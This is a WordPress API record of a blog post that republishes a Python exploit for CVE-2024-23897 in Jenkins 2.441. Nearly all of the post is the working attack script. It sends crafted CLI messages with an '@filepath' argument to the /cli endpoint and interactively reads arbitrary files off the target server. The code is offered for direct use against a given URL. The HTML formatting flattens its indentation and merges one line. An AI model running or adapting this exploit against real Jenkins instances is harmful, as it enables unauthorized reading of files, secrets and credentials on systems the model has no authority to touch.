{"id":56280,"date":"2024-04-15T22:20:01","date_gmt":"2024-04-15T18:20:01","guid":{"rendered":"https:\/\/packetstormsecurity.com\/files\/178047\/jenkins2441-lfi.txt"},"modified":"2024-04-15T22:20:01","modified_gmt":"2024-04-15T18:20:01","slug":"jenkins-2-441-local-file-inclusion","status":"publish","type":"post","link":"https:\/\/afaghhosting.net\/blog\/jenkins-2-441-local-file-inclusion\/","title":{"rendered":"Jenkins 2.441 Local File Inclusion"},"content":{"rendered":"<p># Exploit Title: Jenkins 2.441 &#8211; Local File Inclusion<br \/># Date: 14\/04\/2024<br \/># Exploit Author: Matisse Beckandt (Backendt)<br \/># Vendor Homepage: https:\/\/www.jenkins.io\/<br \/># Software Link: https:\/\/github.com\/jenkinsci\/jenkins\/archive\/refs\/tags\/jenkins-2.441.zip<br \/># Version: 2.441<br \/># Tested on: Debian 12 (Bookworm)<br \/># CVE: CVE-2024-23897<\/p>\n<p>from argparse import ArgumentParser<br \/>from requests import Session, post, exceptions<br \/>from threading import Thread<br \/>from uuid import uuid4<br \/>from time import sleep<br \/>from re import findall<\/p>\n<p>class Exploit(Thread):<br \/>def __init__(self, url: str, identifier: str):<br \/>Thread.__init__(self)<br \/>self.daemon = True<br \/>self.url = url<br \/>self.params = {&#8220;remoting&#8221;: &#8220;false&#8221;}<br \/>self.identifier = identifier<br \/>self.stop_thread = False<br \/>self.listen = False<\/p>\n<p>def run(self):<br \/>while not self.stop_thread:<br \/>if self.listen:<br \/>self.listen_and_print()<\/p>\n<p>def stop(self):<br \/>self.stop_thread = True<\/p>\n<p>def receive_next_message(self):<br \/>self.listen = True<\/p>\n<p>def wait_for_message(self):<br \/>while self.listen:<br \/>sleep(0.5)<\/p>\n<p>def print_formatted_output(self, output: str):<br \/>if &#8220;ERROR: No such file&#8221; in output:<br \/>print(&#8220;File not found.&#8221;)<br \/>elif &#8220;ERROR: Failed to parse&#8221; in output:<br \/>print(&#8220;Could not read file.&#8221;)<\/p>\n<p>expression = &#8220;No such agent \\&#8221;(.*)\\&#8221; exists.&#8221;<br \/>results = findall(expression, output)<br \/>print(&#8220;\\n&#8221;.join(results))<\/p>\n<p>def listen_and_print(self):<br \/>session = Session()<br \/>headers = {&#8220;Side&#8221;: &#8220;download&#8221;, &#8220;Session&#8221;: self.identifier}<br \/>try:<br \/>response = session.post(self.url, params=self.params, headers=headers)<br \/>except (exceptions.ConnectTimeout, exceptions.ConnectionError):<br \/>print(&#8220;Could not connect to target to setup the listener.&#8221;)<br \/>exit(1)<\/p>\n<p>self.print_formatted_output(response.text)<br \/>self.listen = False<\/p>\n<p>def send_file_request(self, filepath: str):<br \/>headers = {&#8220;Side&#8221;: &#8220;upload&#8221;, &#8220;Session&#8221;: self.identifier}<br \/>payload = get_payload(filepath)<br \/>try:<br \/>post(self.url, data=payload, params=self.params, headers=headers, timeout=4)<br \/>except (exceptions.ConnectTimeout, exceptions.ConnectionError):<br \/>print(&#8220;Could not connect to the target to send the request.&#8221;)<br \/>exit(1)<\/p>\n<p>def read_file(self, filepath: str):<br \/>self.receive_next_message()<br \/>sleep(0.1)<br \/>self.send_file_request(filepath)<br \/>self.wait_for_message()<\/p>\n<p>def get_payload_message(operation_index: int, text: str) -&gt; bytes:<br \/>text_bytes = bytes(text, &#8220;utf-8&#8221;)<br \/>text_size = len(text_bytes)<br \/>text_message = text_size.to_bytes(2) + text_bytes<br \/>message_size = len(text_message)<\/p>\n<p>payload = message_size.to_bytes(4) + operation_index.to_bytes(1) + text_message<br \/>return payload<\/p>\n<p>def get_payload(filepath: str) -&gt; bytes:<br \/>arg_operation = 0<br \/>start_operation = 3<\/p>\n<p>command = get_payload_message(arg_operation, &#8220;connect-node&#8221;)<br \/>poisoned_argument = get_payload_message(arg_operation, f&#8221;@{filepath}&#8221;)<\/p>\n<p>payload = command + poisoned_argument + start_operation.to_bytes(1)<br \/>return payload<\/p>\n<p>def start_interactive_file_read(exploit: Exploit):<br \/>print(&#8220;Press Ctrl+C to exit&#8221;)<br \/>while True:<br \/>filepath = input(&#8220;File to download:\\n&gt; &#8220;)<br \/>filepath = make_path_absolute(filepath)<br \/>exploit.receive_next_message()<\/p>\n<p>try:<br \/>exploit.read_file(filepath)<br \/>except exceptions.ReadTimeout:<br \/>print(&#8220;Payload request timed out.&#8221;)<\/p>\n<p>def make_path_absolute(filepath: str) -&gt; str:<br \/>if not filepath.startswith(&#8216;\/&#8217;):<br \/>return f&#8221;\/proc\/self\/cwd\/{filepath}&#8221;<br \/>return filepath<\/p>\n<p>def format_target_url(url: str) -&gt; str:<br \/>if url.endswith(&#8216;\/&#8217;):<br \/>url = url[:-1]return f&#8221;{url}\/cli&#8221;<\/p>\n<p>def get_arguments():<br \/>parser = ArgumentParser(description=&#8221;Local File Inclusion exploit for CVE-2024-23897&#8243;)<br \/>parser.add_argument(&#8220;-u&#8221;, &#8220;&#8211;url&#8221;, required=True, help=&#8221;The url of the vulnerable Jenkins service. Ex: http:\/\/helloworld.com\/&#8221;)<br \/>parser.add_argument(&#8220;-p&#8221;, &#8220;&#8211;path&#8221;, help=&#8221;The absolute path of the file to download&#8221;)<br \/>return parser.parse_args()<\/p>\n<p>def main():<br \/>args = get_arguments()<br \/>url = format_target_url(args.url)<br \/>filepath = args.path<br \/>identifier = str(uuid4())<\/p>\n<p>exploit = Exploit(url, identifier)<br \/>exploit.start()<\/p>\n<p>if filepath:<br \/>filepath = make_path_absolute(filepath)<br \/>exploit.read_file(filepath)<br \/>exploit.stop()<br \/>return<\/p>\n<p>try:<br \/>start_interactive_file_read(exploit)<br \/>except KeyboardInterrupt:<br \/>pass<br \/>print(&#8220;\\nQuitting&#8221;)<br \/>exploit.stop()<\/p>\n<p>if __name__ == &#8220;__main__&#8221;:<br \/>main()<\/p>\n","protected":false},"excerpt":{"rendered":"<p># Exploit Title: Jenkins 2.441 &#8211; Local File Inclusion# Date: 14\/04\/2024# Exploit Author: Matisse Beckandt (Backendt)# Vendor Homepage: https:\/\/www.jenkins.io\/# Software Link: https:\/\/github.com\/jenkinsci\/jenkins\/archive\/refs\/tags\/jenkins-2.441.zip# Version: 2.441# Tested on: Debian 12 (Bookworm)# CVE: CVE-2024-23897 from argparse import ArgumentParserfrom requests import Session, post, exceptionsfrom threading import Threadfrom uuid import uuid4from time import sleepfrom re import findall class Exploit(Thread):def __init__(self, &hellip;<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"closed","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[26],"tags":[],"class_list":["post-56280","post","type-post","status-publish","format-standard","hentry","category-vulnerability"],"_links":{"self":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/posts\/56280","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/comments?post=56280"}],"version-history":[{"count":0,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/posts\/56280\/revisions"}],"wp:attachment":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/media?parent=56280"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/categories?post=56280"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/tags?post=56280"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}